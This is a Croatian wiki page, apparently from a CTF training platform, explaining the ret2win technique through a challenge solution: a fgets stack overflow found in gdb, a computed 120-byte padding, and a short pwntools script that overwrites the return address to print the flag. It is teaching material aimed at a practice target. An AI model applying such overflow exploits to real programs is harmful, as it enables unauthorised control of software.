User Tools

Site Tools


ret2win

Ret2Win

Ret2Win jest naziv za vrstu binarne eksploatacije kojom napadač preplavljuje povratnu adresu na neku funkciju unutar binarne datoteke.

Tajne vanilije

Opis zadatka:

https://platforma.hacknite.hr/challenges#Tajne%20vanilije-95

S ispravnim parametrima sladoleda i finim kornetima, Antina hrabra avantura prodaje sladoleda solidno napreduje, ali Ante i dalje ima poteškoća u prodaji sladoleda jer konkurenti ipak nekako uspijevaju proizvoditi finije sladolede.

Ante je istraživao kako je to moguće, i u toj istrazi je naišao na sučelje programa koji čuva tajne za izradu najfinijih sladoleda. Navodno taj program sadrži recept za izradu odličnog sladoleda od vanilije, ali pristup tom receptu je zaštićen - program traži korisničko ime i lozinku. Unatoč svim naporima, Ante nije uspio dobiti pristup jer tvrdi da nije izvedivo pogoditi traženu lozinku.

Možeš li mu ti pomoći da dođe do recepta za izradu odličnog sladoleda od vanilije?

Ante je čak pripremio Python skriptu za spajanje na program (exploit.py) kojom je pokušao doći do tajnih podataka. Nije bio uspješan, ali možda ti njegova skripta može uštedjeti vrijeme pri izradi svoje skripte za ostvarivanje pristupa.

Spoji se na program uz pomoć naredbe telnet (ako koristiš Windows) ili naredbe netcat (ako koristiš Linux) ili možeš izravno koristiti pripremljenu skriptu (exploit.py):

telnet chal.platforma.hacknite.hr 11002

netcat chal.platforma.hacknite.hr 11002

Rješenje:

Cilj zadatka je ispisati flag. Analizom main.c datoteke vidljivo je da se u liniji:

fgets(buf, PASSWORD_SIZE, stdin); 

upisuje u buf (veličine 100) 200 znakova. Time je omogućen stack based buffer overflow. Kako bi se unio ispravan payload, potrebno je analizirati binarnu datoteku main.

Najprije pokrenite gdb:

gdb main

Zatim disassemble main funkcije:

disas main

Unutar main.c datoteke, ispis flaga se događa na liniji:

puts(flag);

To je četvrti puts po redu i nalazi se na adresi 0x40134a. Iz tog razloga, potrebno je preplaviti povratnu adresu za vrijeme unosa lozinke kako bi se izvršio navedeni poziv puts na adresi 0x40134a. Kako bi se ispravno izvršio, potrebno ga je pozvati s ispravnim argumentima, što čini instrukcija na adresi 0x401345 (postavlja u edi registar adresu stringa za flag) Dakle, ispis flag bit će izvršen ako procesor krene izvođenje instrukcija od adrese 0x401345, što je onda I cilj postaviti kao povratnu adresu na stogu.

Padding:

Kako bi se odredio padding za payload, potrebno izračunati razliku od adrese za početak unosa do povratne adrese. Prvo moramo postaviti breakpoint nakon unosa lozinke. Zato prvo:

disas provjeri_lozinku

Tražimo 2. fgets po redu I on se nalazi na adresi 0x401285, zbog čega unosimo breakpoint na prvu instrukciju nakon nje:

b *0x40128a

Pokrenemo program, unesemo username I zatim za password unos koji ćemo prepoznati, recimo “AAAA” (0x41414141).

Nakon breakpointa, pogledamo vrijednosti na stogu:

x/200xb $rsp

Vidimo da vrijednosti (0x41414141) kreću od vrha stoga na adresi 0x7fffffffdea0. Kako bi saznali gdje je pohranjena povratna adresa upišemo naredbu:

i f (tj. info frame)

U vraćenom odgovoru vidljivo je “Rip at 0x7fffffffdf18”

Razlika te dvije adrese jest 0x7fffffffdf18 – 0x7fffffffdea0 = 120(10). To znači da prije preplavljivanja povratne adrese s ciljnom moramo unijeti 120 bajtova (npr. char 'A').

Primjer rješenja uz pomoć PWN tools-a

PWN tools - python


  from pwn import*
  p = remote("chal.platforma.hacknite.hr",11002)
  payload = b"\n" + b"A"*120 #padding
  payload += p64(0x401345) #return address
  payload += b"\n" # izlazak iz veze
  p.writeline(payload)
  answer = p.readall()
  print(answer.decode())
ret2win.txt · Last modified: 2023/12/07 16:56 by 127.0.0.1

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki